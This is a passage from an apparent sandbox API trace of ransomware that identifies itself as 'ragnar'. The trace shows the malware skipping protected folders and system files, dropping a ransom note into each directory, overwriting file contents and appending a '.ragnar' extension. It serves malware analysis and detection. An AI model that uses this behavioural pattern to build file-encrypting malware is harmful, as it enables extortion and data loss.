lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x38 [0096.431] lstrcpyW (in: lpString1=0x1eb62a, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0096.431] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\RGNR_FD7BD9FC.txt") returned=".txt" [0096.431] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0096.431] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b0bce20, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x8b0bce20, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0096.431] FindClose (in: hFindFile=0x5a1328 | out: hFindFile=0x5a1328) returned 1 [0096.431] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef015d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x596c1850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x596c1850, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE14", cAlternateFileName="")) returned 1 [0096.431] lstrcmpiW (lpString1="OFFICE14", lpString2=".") returned 1 [0096.431] lstrcmpiW (lpString1="OFFICE14", lpString2="..") returned 1 [0096.431] lstrcmpiW (lpString1="OFFICE14", lpString2="Windows") returned -1 [0096.431] lstrcmpiW (lpString1="OFFICE14", lpString2="Windows.old") returned -1 [0096.431] lstrcmpiW (lpString1="OFFICE14", lpString2="Tor browser") returned -1 [0096.432] lstrcmpiW (lpString1="OFFICE14", lpString2="Internet Explorer") returned 1 [0096.432] lstrcmpiW (lpString1="OFFICE14", lpString2="Google") returned 1 [0096.432] lstrcmpiW (lpString1="OFFICE14", lpString2="Opera") returned -1 [0096.432] lstrcmpiW (lpString1="OFFICE14", lpString2="Opera Software") returned -1 [0096.432] lstrcmpiW (lpString1="OFFICE14", lpString2="Mozilla") returned 1 [0096.432] lstrcmpiW (lpString1="OFFICE14", lpString2="Mozilla Firefox") returned 1 [0096.432] lstrcmpiW (lpString1="OFFICE14", lpString2="$Recycle.Bin") returned 1 [0096.432] lstrcmpiW (lpString1="OFFICE14", lpString2="ProgramData") returned -1 [0096.432] lstrcmpiW (lpString1="OFFICE14", lpString2="All Users") returned 1 [0096.432] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\*.*", nBufferLength=0x104, lpBuffer=0x1ec098, lpFilePart=0x1ec544 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\*.*", lpFilePart=0x1ec544*="*.*") returned 0x2f [0096.432] lstrcpyW (in: lpString1=0x1ec0f0, lpString2="OFFICE14" | out: lpString1="OFFICE14") returned="OFFICE14" [0096.432] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\" [0096.432] lstrcpyW (in: lpString1=0x1ebe8c, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\" [0096.432] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\RGNR_FD7BD9FC.txt" [0096.432] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\microsoft office\\media\\office14\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0096.436] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\*.*") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\*.*" [0096.436] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\*.*", nBufferLength=0x104, lpBuffer=0x1eb1ac, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x38 [0096.436] lstrcpyW (in: lpString1=0x1eafa4, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0096.436] lstrcpyW (in: lpString1=0x1eb216, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0096.436] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\*.*", lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef015d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x8bb99280, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x8bb99280, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1328 [0096.436] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0096.436] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef015d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x8bb99280, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x8bb99280, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.436] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0096.436] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0096.436] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef015d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0096.436] lstrcmpiW (lpString1="1033", lpString2=".") returned 1 [0096.436] lstrcmpiW (lpString1="1033", lpString2="..") returned 1 [0096.436] lstrcmpiW (lpString1="1033", lpString2="Windows") returned -1 [0096.436] lstrcmpiW (lpString1="1033", lpString2="Windows.old") returned -1 [0096.436] lstrcmpiW (lpString1="1033", lpString2="Tor browser") returned -1 [0096.436] lstrcmpiW (lpString1="1033", lpString2="Internet Explorer") returned -1 [0096.436] lstrcmpiW (lpString1="1033", lpString2="Google") returned -1 [0096.436] lstrcmpiW (lpString1="1033", lpString2="Opera") returned -1 [0096.436] lstrcmpiW (lpString1="1033", lpString2="Opera Software") returned -1 [0096.436] lstrcmpiW (lpString1="1033", lpString2="Mozilla") returned -1 [0096.437] lstrcmpiW (lpString1="1033", lpString2="Mozilla Firefox") returned -1 [0096.437] lstrcmpiW (lpString1="1033", lpString2="$Recycle.Bin") returned 1 [0096.437] lstrcmpiW (lpString1="1033", lpString2="ProgramData") returned -1 [0096.437] lstrcmpiW (lpString1="1033", lpString2="All Users") returned -1 [0096.437] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x38 [0096.437] lstrcpyW (in: lpString1=0x1eb62a, lpString2="1033" | out: lpString1="1033") returned="1033" [0096.437] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\" [0096.437] lstrcpyW (in: lpString1=0x1eb3b4, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\" [0096.437] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\RGNR_FD7BD9FC.txt" [0096.437] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\microsoft office\\media\\office14\\1033\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0096.439] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\*.*") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\*.*" [0096.439] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\*.*", nBufferLength=0x104, lpBuffer=0x1ea6d4, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3d [0096.439] lstrcpyW (in: lpString1=0x1ea4cc, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0096.439] lstrcpyW (in: lpString1=0x1ea748, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0096.439] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef015d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x8bb99280, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x8bb99280, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0096.439] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0096.439] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef015d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x8bb99280, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x8bb99280, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.439] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0096.439] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0096.440] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x130a0400, ftCreationTime.dwHighDateTime=0x1c07b1f, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x130a0400, ftLastWriteTime.dwHighDateTime=0x1c07b1f, nFileSizeHigh=0x0, nFileSizeLow=0x4c438, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE10.MML", cAlternateFileName="")) returned 1 [0096.440] lstrcmpiW (lpString1="OFFICE10.MML", lpString2=".") returned 1 [0096.440] lstrcmpiW (lpString1="OFFICE10.MML", lpString2="..") returned 1 [0096.440] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bb99280, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x8bb99280, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0096.440] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0096.440] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0096.440] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bb99280, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x8bb99280, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0096.440] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0096.440] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef015d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x8bb99280, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x8bb99280, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0096.440] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef015d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x8bb99280, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x8bb99280, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.440] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x130a0400, ftCreationTime.dwHighDateTime=0x1c07b1f, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x130a0400, ftLastWriteTime.dwHighDateTime=0x1c07b1f, nFileSizeHigh=0x0, nFileSizeLow=0x4c438, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE10.MML", cAlternateFileName="")) returned 1 [0096.440] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3d [0096.440] lstrcpyW (in: lpString1=0x1eab5c, lpString2="OFFICE10.MML" | out: lpString1="OFFICE10.MML") returned="OFFICE10.MML" [0096.440] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML") returned=".MML" [0096.440] lstrcmpiW (lpString1="OFFICE10.MML", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0096.440] lstrcmpiW (lpString1="OFFICE10.MML", lpString2="autorun.inf") returned 1 [0096.440] lstrcmpiW (lpString1="OFFICE10.MML", lpString2="boot.ini") returned 1 [0096.440] lstrcmpiW (lpString1="OFFICE10.MML", lpString2="bootfont.bin") returned 1 [0096.440] lstrcmpiW (lpString1="OFFICE10.MML", lpString2="bootsect.bak") returned 1 [0096.440] lstrcmpiW (lpString1="OFFICE10.MML", lpString2="bootmgr") returned 1 [0096.440] lstrcmpiW (lpString1="OFFICE10.MML", lpString2="bootmgr.efi") returned 1 [0096.440] lstrcmpiW (lpString1="OFFICE10.MML", lpString2="bootmgfw.efi") returned 1 [0096.440] lstrcmpiW (lpString1="OFFICE10.MML", lpString2="desktop.ini") returned 1 [0096.440] lstrcmpiW (lpString1="OFFICE10.MML", lpString2="iconcache.db") returned 1 [0096.440] lstrcmpiW (lpString1="OFFICE10.MML", lpString2="ntldr") returned 1 [0096.440] lstrcmpiW (lpString1="OFFICE10.MML", lpString2="ntuser.dat") returned 1 [0096.440] lstrcmpiW (lpString1="OFFICE10.MML", lpString2="ntuser.dat.log") returned 1 [0096.440] lstrcmpiW (lpString1="OFFICE10.MML", lpString2="ntuser.ini") returned 1 [0096.440] lstrcmpiW (lpString1="OFFICE10.MML", lpString2="thumbs.db") returned -1 [0096.440] lstrcmpiW (lpString1=".MML", lpString2=".db") returned 1 [0096.440] lstrcmpiW (lpString1=".MML", lpString2=".sys") returned -1 [0096.441] lstrcmpiW (lpString1=".MML", lpString2=".dll") returned 1 [0096.441] lstrcmpiW (lpString1=".MML", lpString2=".lnk") returned 1 [0096.441] lstrcmpiW (lpString1=".MML", lpString2=".msi") returned -1 [0096.441] lstrcmpiW (lpString1=".MML", lpString2=".drv") returned 1 [0096.441] lstrcmpiW (lpString1=".MML", lpString2=".exe") returned 1 [0096.441] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML" (normalized: "c:\\program files\\microsoft office\\media\\office14\\1033\\office10.mml")) returned 0x20 [0096.441] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML" (normalized: "c:\\program files\\microsoft office\\media\\office14\\1033\\office10.mml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0096.441] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=312376) returned 1 [0096.441] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x4c42f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.441] GetProcessHeap () returned 0x580000 [0096.441] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0096.441] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0096.443] VirtualAlloc (lpAddress=0x0, dwSize=0x4c438, flAllocationType=0x3000, flProtect=0x4) returned 0x480000 [0096.443] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.443] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0096.443] ReadFile (in: hFile=0x10c, lpBuffer=0x480000, nNumberOfBytesToRead=0x4c438, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x480000*, lpNumberOfBytesRead=0x1ea45c*=0x4c438, lpOverlapped=0x0) returned 1 [0096.450] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0096.452] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4c438, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.452] WriteFile (in: hFile=0x10c, lpBuffer=0x480000*, nNumberOfBytesToWrite=0x4c438, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x480000*, lpNumberOfBytesWritten=0x1ea458*=0x4c438, lpOverlapped=0x0) returned 1 [0096.453] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4c438, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.453] VirtualFree (lpAddress=0x480000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0096.454] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x4c438, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.454] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.454] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0096.454] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0096.455] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0096.455] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.455] GetProcessHeap () returned 0x580000 [0096.455] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0096.455] CloseHandle (hObject=0x10c) returned 1 [0096.455] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML" [0096.455] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML.ragnar_FD7BD9FC" [0096.455] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML" (normalized: "c:\\program files\\microsoft office\\media\\office14\\1033\\office10.mml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\1033\\office10.mml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0096.455] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bb99280, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x8bb99280, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0096.456] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3d [0096.456] lstrcpyW (in: lpString1=0x1eab5c, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0096.456] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\RGNR_FD7BD9FC.txt") returned=".txt" [0096.456] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0096.456] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bb99280, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x8bb99280, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0096.456] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0096.456] FindNextFileW (in: hFindFile=0x5a1328, 